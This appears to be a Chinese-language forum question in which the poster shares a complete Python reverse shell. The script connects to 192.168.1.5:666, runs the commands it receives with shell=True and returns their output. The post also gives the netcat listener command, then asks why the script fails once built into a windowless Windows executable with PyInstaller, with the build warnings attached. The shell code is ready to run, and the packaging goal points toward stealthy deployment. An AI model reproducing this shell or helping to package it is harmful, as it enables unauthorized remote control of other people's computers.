我在python中使用以下代码构建了一个简单的reverse_tcp
#!/usr/bin/python
import socket
import subprocess
HOST = '192.168.1.5'
PORT = 666
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
while 1:
data = s.recv(1024)
proc = subprocess.Popen(data, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value)
s.close()
然后使用我的Linux机器上的命令启动一个带有netcat的监听器
nc -lp 666
我使用python
从Windows 7 VM连接完全没问题python reverse_tcp.py
然后我尝试从Linux和Windows中使用PyInstaller转换Windows可执行文件中的reverse_tcp.py,但这不起作用
pyinstaller -F -w -n reverse_tcp.exe reverse_tcp.py
我尝试使用--noupx开关也没有成功。
warnreverse_tcp.exe.txt文件的输出如下:
missing module named codecs.mbcs_encode - imported by codecs, encodings.mbcs
missing module named codecs.mbcs_decode - imported by codecs, encodings.mbcs
missing module named unicodedata.ucd_3_2_0 - imported by unicodedata, stringprep, encodings.idna
missing module named _sre.MAXREPEAT - imported by _sre, sre_constants
missing module named _warnings.warn_explicit - imported by _warnings, warnings
...
依此类推165行。
我无法使可执行文件正常工作。有什么想法吗?